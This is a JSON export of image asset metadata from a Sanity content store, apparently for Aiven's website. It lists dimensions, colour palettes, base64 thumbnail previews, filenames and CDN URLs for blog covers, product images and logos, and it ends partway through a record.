{"_createdAt":"2024-08-14T15:48:54Z","_id":"image-27689aa28d089658017e97d12ab97af304060dc5-685x685-jpg","_rev":"atQhYC2Kf5UfaHQ6n7XrTu","_type":"sanity.imageAsset","_updatedAt":"2024-08-14T15:48:54Z","assetId":"27689aa28d089658017e97d12ab97af304060dc5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eVJ**e%gpJMwt7~ps;%2jrWC%fslR5kWWBxuD*Rjt7WB-;kDR%oMfk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":685,"width":685},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIFBwb/xAAjEAACAgICAgEFAAAAAAAAAAABAgMEAAURIQYSBxMUMWGB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEAP/EAB0RAAIDAAIDAAAAAAAAAAAAAAABAgMREiExMkL/2gAMAwEAAhEDEQA/AN0szmGJn45Cjk95me6+Rtjp7SvapQGm7+o9W5YD95OLykXxJWs9BwVB545yisRUJYfsWhVnJ9nB7/vOHKPF4alqyLfg0+puntVIZ0jCrIoYA9/nGUur2tGLXwRAsPpqF6HXWMcoLO0RylZrwnq/CdKQrvDI7DsFpDnEfJlltNfmioJGiKoABXnGMGv2HfJxlTZW5K6uZmBbs8dDGMZSLP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4451","foreground":"#fff","population":10.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#592a31","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4451","foreground":"#fff","population":10.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c9d2","foreground":"#000","population":6.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4a5ab","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46474","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc949c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Andrey.jpeg","path":"images/sczeoy4w/production/27689aa28d089658017e97d12ab97af304060dc5-685x685.jpg","sha1hash":"27689aa28d089658017e97d12ab97af304060dc5","size":62256,"uploadId":"d8kQS27jmsWJvEq6lhDYwYHcoOMEEtis","url":"https://cdn.sanity.io/images/sczeoy4w/production/27689aa28d089658017e97d12ab97af304060dc5-685x685.jpg"} {"_createdAt":"2022-09-30T15:35:42Z","_id":"image-27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844-png","_rev":"8WeirZ6KB9gJqgJfvidJ6p","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:23Z","assetId":"27eb1255715f2dfb05b85a97e3bdb1f7721c17cb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXP?H_uPl8mjg4WFNbrpt7T0ysMcn3Xnoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC1klEQVQokV2Sz28UZRjH5x8wnjQxMSQQws2DF2O4iBg5yklvGgMHBbnowViU7dZKbGINlDQlMcBStCKYamrWslDpUrr9Ad0V1y3dst2F3c7s7sy870zLzrwtJm/mY3abJsrhkyfPN8/z5PllNOx1Vi1JzRQdqqsuNXMLq+Fjuy2arqLhKhyhEJ5CyBDheEizhjSrCFsiZIDrKYxS2WQhW2BmLkdmNsv0zAKz8392/DvZJbJFwR9/b3AjryjWAhxb4lUWWbvzM61UH2EyzuOZ75GPSrgiwFhcqpC+Ncd4apJr19Pcuj1PNrfIfHaJX9JlBlNrfJ3c5Fy6xWzeonJ3EvFbL2LkKFbiMOLUPjbOvkkwfR7PdjCKy1VuZ+5yY2KK9NQc+UIJsy5Zrq5zPh3wyeVNeq4KRsYLTKRS5BJd1Ptfozj0LuNDXWS699P8fAf2pSM8LOQxzLrHSqXOcqnGSsWi7QsvpNrcYCz7hIGxJleGR5k620Xm9GGWv9qLf+IFCvFX+emzg/z60cvcPLKb0e73GbmcxHBlyNO0l24LRXn1McXpmzSG3kHEdmJ170HEd7F5/Bnkp89S+PhFrn2wh4FDb9B7PMbAhXGM9mXEf9guKLwNpCNpZRLob19CxZ5jpf8A9755C+uLXQQnnqd68hWSsbcZPPklP15NMZMtYwgZRu5TdDRPRcLxo/X5K9E/Z/ZGomd3lOp7LzoX/zCaju2Pyv0HotSpY1FioC/6PXk9elBuRI4IIkM0fZqmi2kK2j/Z6dDbHj3AW/kLNdaFOP06Ez0HGe49SiYRJzc6yKXvBrk4/AMLuULnX9sTGsJydL28qh9WLG3WPe2IQAtPaVeG2vWUFo6v/QdZ7U9d0I+SZ/TS5Kiu3s/rUrGkZ+dyOnfvvq6ZYitehtoQzrpymr5qNNeU7baUK0MlPLVlZahcTykhAyUcT0nbVcL1O7ojw//Fb+f8C3FP30SJzOC2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e33","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082a62","foreground":"#fff","population":1.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87608","foreground":"#fff","population":14.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7b5a3","foreground":"#000","population":1.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64b7fc","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b06c7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87608","foreground":"#fff","population":14.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844.png","path":"images/sczeoy4w/production/27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844.png","sha1hash":"27eb1255715f2dfb05b85a97e3bdb1f7721c17cb","size":187261,"uploadId":"guivi3Il45zATLwyzNqSKwqkNQmtsnP2","url":"https://cdn.sanity.io/images/sczeoy4w/production/27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844.png"} {"_createdAt":"2024-02-27T03:25:45Z","_id":"image-280b1673794873f7e2e8acd45c2d4b6fabdfcca0-1920x1080-png","_rev":"V3O8maT2S7wtHLmaPTXGWe","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T03:25:45Z","assetId":"280b1673794873f7e2e8acd45c2d4b6fabdfcca0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCSnA-:Q9$sE:$yE{cT0ajwG4q#QK*S$$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACj0lEQVQokU2TTUjTcRjHf/+/+8+oMKqDoTZnriCKJPLd+QYdAsO2fHfmS5vmnJMk8jXnuzldYnUJgg7VuUNQ0Sno1iUkulkQdY48lOG2//OJzUUdnsvDw+f7HD5fxWVFchoUNCloUdCmoENBp4JuBV4FvQq5psCviAbT+Tjm4tHSK+6vbPBs8Qmb0/XEJjJQuFPARg1adGjTwaPBFQ26dbiqg0+DPg3x6xDQMIcMvo6U8HzuHo+XX/J69SFf1n3E1ktSwEYdug7BQC4EjsJgDgxmQTATrh+BG1kwakMm7cikDbmVza/ZAj4vNLMx5+NTuIutB+3EH7lSwGYDBh0QqoKZSphxQqgIJk5DqAAWS2GlElmrRe44IVKMrDuJRkr4PW1nZ8ZGfPUMcrcQJW6FNFuRgAOZciLTTmS2Epkpg9A5ZL4YWa6EcAUSLkMi5UikFNYqIFIIi8dh3g5TmTB24L8P/bkwXgShcpirgoVqZKkawrWwUoPcLkEWzyKrCVgVEqlBwol9NbJQhgxnIV4LynQrdhqsbHccZtuXw47fhjmUB8N5yE0HMuqAUTsykg0jmchENjKVi4wfQ4bzIZiPBHKRngxo11HbLgubrkze1J/kxcVTvHPZ+NG6F+nUoceSTBWfDn060q9jBtKIB62YfgPpMhCPAR4L4tGQDoX66TJ4f8nOw7rzzF9o4mmdk29NBxHProeS8PCqQnoVZr9ObMBKNLiHqN9KvMuCdKQlFZPUrYq7Nb679/PB7eDt5UI2Gk+w1bovmZYE9uyKnQDG+w2igT3EgtYkOOZNx+wxkISriRufQv1tijRomE06ZouOtKt/wFRTpFdLAmMBAxnUMAfSiPnSMb0GkhA/0aQ+xR8NESS7I833AAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#584064","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f2105","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":19.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afb6d8","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c184","foreground":"#000","population":0.82,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":19.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AIVEN NYC Customer Champion Awards.png","path":"images/sczeoy4w/production/280b1673794873f7e2e8acd45c2d4b6fabdfcca0-1920x1080.png","sha1hash":"280b1673794873f7e2e8acd45c2d4b6fabdfcca0","size":208692,"uploadId":"vrPztef82cr1xeLaU3GYsEXWV9CtU0Gf","url":"https://cdn.sanity.io/images/sczeoy4w/production/280b1673794873f7e2e8acd45c2d4b6fabdfcca0-1920x1080.png"} {"_createdAt":"2024-05-20T05:08:18Z","_id":"image-288565a9779a22f3640e7f9be6dc1ee00bb602f3-1567x844-png","_rev":"5dKvdU2b7V4fiIIxYx3Nrj","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T05:08:18Z","assetId":"288565a9779a22f3640e7f9be6dc1ee00bb602f3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAB:2s0vvzX=:zx;TO}40-t8s:VqF4#*$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADAklEQVQokT3RW0+bBQDG8fcTzIS2tPZIKYNR6ugQmGOla9eynis9rC28bdeWFmhllA5ZOAzZOGk3GIuFOJkZBo1ZNGZqxsHMeKNeaII3ZrswMSZe+DX+BqJ+gV/+Tx7hVH0UiSqOTDuIXJdC3pBFoS+gNBTRNJfRttxA0zKFrnWGBuMtdMZFDOYabT1f0Gn/hph/k1p+lJ/mQvxVvYJQrxmgrWOUNy7doMd+kx77DBcdt+h13sbmXuGyp4rNfRe7dx2bZ4MOyzrG7i3aez/nvPMZ4cA2q9fK7L2d4LfFAMKrepHz1gre/gWC0WVC8fcIJ+7RH18nlHhAZLBGaGCT8OAHRMRt3P0Psft2cIa+4krkkGDwY8rRabYLWZ5OiAiKBpEuywSu4PwJGE+tEU9tnIDBq/fxhTfwhB4QjG0RTT4imtwhnnmCWNgnkj7A531EoW+SpTez3AkPIygbkyeFrsA8nv7b+CMreEOrOH0r2FwrWPtWsbqqOAMbeMNbBOMfnYDpkQPi6WdkfGu864hRc3hZsCX+BXsrOLyzXLBNYeosc8Zcprm9QpNpkqbXbtJsnqX19QVM3ct0WO7jDO4STu0zcO1b5mJVnvrs7PWd4/FlO8Lxw43GHK3mURrO5JFpM0jUOWTaYWS6Egr9OLrTE7S2VTCdneJs5zKX3LuEk89J5n+gIu6wHRB54nKw6QwjnJJFqFNcRapKIFGJ1ClT1KmySNUFpNoiysbrdJlLDDrzlPxDZALTRGOfIhZ+JDd2hJj+DtH7ITnnXRKO9xGk9SF0qgh6QxLN6RxyXRbJMag5BktoDGP4Lha4l0zw5XiI3fII02/tMjJxRGnqJYmhn+n1HNLt2KfLcYAgl4do0UUxGjM0mYZRNg4hUf9XWEJtGMNvyfNwKMrRO25+WU5Tm/uEydmXTM7/Sar4Kxbvc87ZDzHb9hFekYWRyCNIVXGkahGJKv3/ZJm2iEJ/nQsdRapinBeLffy+JvJ46TPm7vzBzNLf5MZfYPV/j9m2R7v1a/4BYLm/Jz45aPAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4473","foreground":"#fff","population":1.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04126c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88e4","foreground":"#fff","population":1.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94c2","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88e4","foreground":"#fff","population":1.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6667","foreground":"#fff","population":0.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df4b11","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Understanding data management in the face of changing FSI compliance laws_Blog cover.png","path":"images/sczeoy4w/production/288565a9779a22f3640e7f9be6dc1ee00bb602f3-1567x844.png","sha1hash":"288565a9779a22f3640e7f9be6dc1ee00bb602f3","size":270667,"uploadId":"ROCb4web187R2qnBAfNEOhyCv908SXvW","url":"https://cdn.sanity.io/images/sczeoy4w/production/288565a9779a22f3640e7f9be6dc1ee00bb602f3-1567x844.png"} {"_createdAt":"2022-09-17T20:29:43Z","_id":"image-28932d4ef1d80f6633d8a67fb8d6f7d980736c32-1200x630-jpg","_rev":"StyfnzRSyhTCbsBlPUhMFR","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:29:43Z","assetId":"28932d4ef1d80f6633d8a67fb8d6f7d980736c32","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAwf/xAAjEAACAQMEAQUAAAAAAAAAAAABAgMABAUGERMhEjFBQlGR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAP/xAAYEQEBAQEBAAAAAAAAAAAAAAABAgARA//aAAwDAQACEQMRAD8A79cw5VrqRobgcTElQW9Kn6s1Jf4TG2fI0MMk0nG05BZUH2atRDa5c9/tbTW0N0hjuYklQ/FxuKt5szQ0dNP0FlmXjldKZqXKYaK5mALElfIDYMB7iinEjSJAkShEXoKo2AopXFUMnoAu/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c444c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#064c8a","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5688b4","foreground":"#fff","population":0.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7a1a5","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cd6f8","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5688b4","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eec83d","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"PostgreSQL_product_page_meta_preview.jpeg","path":"images/sczeoy4w/production/28932d4ef1d80f6633d8a67fb8d6f7d980736c32-1200x630.jpg","sha1hash":"28932d4ef1d80f6633d8a67fb8d6f7d980736c32","size":135501,"uploadId":"d8GT2iphRtZJrvBCcPiNgthmqxsrWrSt","url":"https://cdn.sanity.io/images/sczeoy4w/production/28932d4ef1d80f6633d8a67fb8d6f7d980736c32-1200x630.jpg"} {"_createdAt":"2022-06-30T20:10:09Z","_id":"image-28965542ca2d6b6213233afdce55f3787c440cb7-1600x471-jpg","_rev":"6BJll63fjycTvao7Aupvu7","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:04:19Z","assetId":"28965542ca2d6b6213233afdce55f3787c440cb7","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DOQla#~D9]NE_NPWpIRjicog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMFB//EAB8QAAEEAgMBAQAAAAAAAAAAAAEAAgMEBREGEkEhMf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBf/EABsRAAMAAgMAAAAAAAAAAAAAAAABAgMSIUFR/9oADAMBAAIRAxEAPwDfZocmyzI6CxD1JOg/ZVby/GWMnx2WKex0mLNbjJDd+FEQpp1w32aWSZnGmkS8LxlyPj1ZuVtixa+9pGE6I8/URFe9ehdUf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4443","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#896738","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f78210","foreground":"#000","population":4.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4c0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcce4b","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c728c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f78210","foreground":"#000","population":4.85,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"28965542ca2d6b6213233afdce55f3787c440cb7-1600x471.jpg","path":"images/sczeoy4w/production/28965542ca2d6b6213233afdce55f3787c440cb7-1600x471.jpg","sha1hash":"28965542ca2d6b6213233afdce55f3787c440cb7","size":130106,"uploadId":"QhmOKzonamMZRMYIZhcRdEoS1bV6hmZU","url":"https://cdn.sanity.io/images/sczeoy4w/production/28965542ca2d6b6213233afdce55f3787c440cb7-1600x471.jpg"} {"_createdAt":"2024-03-13T11:09:40Z","_id":"image-289d687b62aa48559249baa94c940e3abb75e851-246x169-svg","_rev":"rAWuI3yYduKRvZqckJqn2E","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T11:09:40Z","assetId":"289d687b62aa48559249baa94c940e3abb75e851","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V009jvfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.455621301775148,"height":169,"width":246},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwElEQVQ4je3RTUtCYRQE4OdWWFYEkklgKEGbqKUoJgS5CsKVREEKSrsoaNXvjwsjFLoRXEUDw+H9YObMOfxjk9hBDUfYRhXHOMBWWKwjWMctOmjgGvfo4hwXOMNJjOpp4BC7q8zaeMEzhpjgC2+YYoYxHjCK2R16aCbVL5zm01PESqFPfITveMU89TEcJ8FSh/to4Qo3GCRuL+eS/dRyLJd5G2QESyjSdiULqWY2ez+4uK+EtYiVC90IinU3/wfxDRlXECs3LFFuAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Fullstory.svg","path":"images/sczeoy4w/production/289d687b62aa48559249baa94c940e3abb75e851-246x169.svg","sha1hash":"289d687b62aa48559249baa94c940e3abb75e851","size":1921,"uploadId":"zzF4tmLZjqlyZWgAUXRb61UxihKjCnFY","url":"https://cdn.sanity.io/images/sczeoy4w/production/289d687b62aa48559249baa94c940e3abb75e851-246x169.svg"} {"_createdAt":"2024-08-05T08:47:58Z","_id":"image-28aa7dbfbdf07063248cf01031d8727cf60fb2ca-1999x611-png","_rev":"Gc7Qq2PHZBylrD6rwQA5Zt","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T08:47:58Z","assetId":"28aa7dbfbdf07063248cf01031d8727cf60fb2ca","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7Ss51tl4T-=Rj_4t7WBofju","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.271685761047463,"height":611,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAw0lEQVQYlYWQy27DMAwE/f9/GSAt4DiwLVHiS7K3oAzklKSHOfDAIXenlAvWNQ2IGKr+wqx9RcTBrAMRg6hhIiogqmAWuDeYO6owWK659+MjZo7YTymjlAoNYQw5E0QUx3HAm4O4oHCFu+M4Tpzne0wV2/LE4+cX6/xATQnTvicEcSEE3hpEFWqG3vtHWeAiSPOM5+2G7X5HWZZLuG37+FJVRwwZcf2rLOitwWqF5AwlgjNjykSjh4gcH4Xo6vN/4Tv+ADOk1OdL+m71AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#67313a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a2a32","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9b4aa","foreground":"#000","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b4aa","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4a4ac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bb827c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad5161","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-enable-kafka-connect.png","path":"images/sczeoy4w/production/28aa7dbfbdf07063248cf01031d8727cf60fb2ca-1999x611.png","sha1hash":"28aa7dbfbdf07063248cf01031d8727cf60fb2ca","size":59371,"uploadId":"Xgj3aMzZh4R3vjtwlnTEV1MnYnWcCdkY","url":"https://cdn.sanity.io/images/sczeoy4w/production/28aa7dbfbdf07063248cf01031d8727cf60fb2ca-1999x611.png"} {"_createdAt":"2022-06-15T20:01:32Z","_id":"image-28db871b1d3e702d4b1afe5faa075880191d4b56-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEafqA","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:47Z","assetId":"28db871b1d3e702d4b1afe5faa075880191d4b56","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJC*5|L#%4XTMdD4.TI;ngXS00bv%2jrxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9ACAhJj9AQjk6Oy8wNDQ0PC8vOR4gMRAUNRAXShEaXBAZXBAYUBEZPhIZOBQdRxkqZR02hhs1khswiRcndgApMUBGSU8/QEI1Njk6Oj81NT4kJT0UG0QSIVMTIVsSHVUTHEwVHkMXHj8aJEohMmgkPIEhN4IgM3wdLnMAICs+MjY/MTM2KiouKSkvKiw2Ki5HIy5RGixTFSZQFSFKGCJJGyZNHitRIzJcLER7MlSUMEyOLUKAKT14AB4iKzk7QUJERz0+Qzg5QjxDT0RSYkdYaz1MYy89WC07Wi4+YDJGazpSeUBdiUNuo0Z/u0V3tT9fmjlPhwAmJidXWFprbW9rbG9qbHNweIFvgYhxhIx1g49reYloepBpf5lwiKR9mrWDpcR0q9FjrNteodZWhb5MbqMALSsobGtrjY2Ojo+Qj5CSkpeaiJKVf46ThZWehJilgpyvjqvAmbjPnsTapNDmnNXuhs7vfMHrdbHfa6DNACkiGVFMRXFwaXh4cXR1a3N4b214cWp/fHCLkHKVoXCcsHqux36613zD4Y7W7qbl+Krl+aXc953V9JLN7gA6JgtBNBZMSCVVVzFXXjdUZj5PbkpLeV9NhntUk5hXnrFYqspWs9leweZ51/Oj6fvE8f3N7vy85Pqn2PcAYz4OYEoNWVINUFIRRVAWPFIfNFstLGRCK25gM3uBO4mgP5S6RaLOVbbib8zvktv1uOb5yef6udn3pcjzAG5EDGlQDFxTC0hJCjI5CyMvEBwzHBo/MRxOTiRbayxnhDN0nDyGtkuczl+u3XW745DK7J/Q8Ze+7Iyo5ABvQgllTApUTQlBQQksLwoZHw4UIRoWMi4aREoiUGQqW3kxaZE4eKlDir5TmctipNR4uuKHx+x9rOJzjdPrRwol+bwEvwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a5059","foreground":"#fff","population":1.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1979","foreground":"#fff","population":0.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4683bc","foreground":"#fff","population":7.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b9af","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87e9fb","foreground":"#000","population":0.65,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58a995","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4683bc","foreground":"#fff","population":7.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"28db871b1d3e702d4b1afe5faa075880191d4b56-752x405.png","path":"images/sczeoy4w/production/28db871b1d3e702d4b1afe5faa075880191d4b56-752x405.png","sha1hash":"28db871b1d3e702d4b1afe5faa075880191d4b56","size":150413,"uploadId":"malWAZiMkCusq6kp6kH27HzKNcjtuR3m","url":"https://cdn.sanity.io/images/sczeoy4w/production/28db871b1d3e702d4b1afe5faa075880191d4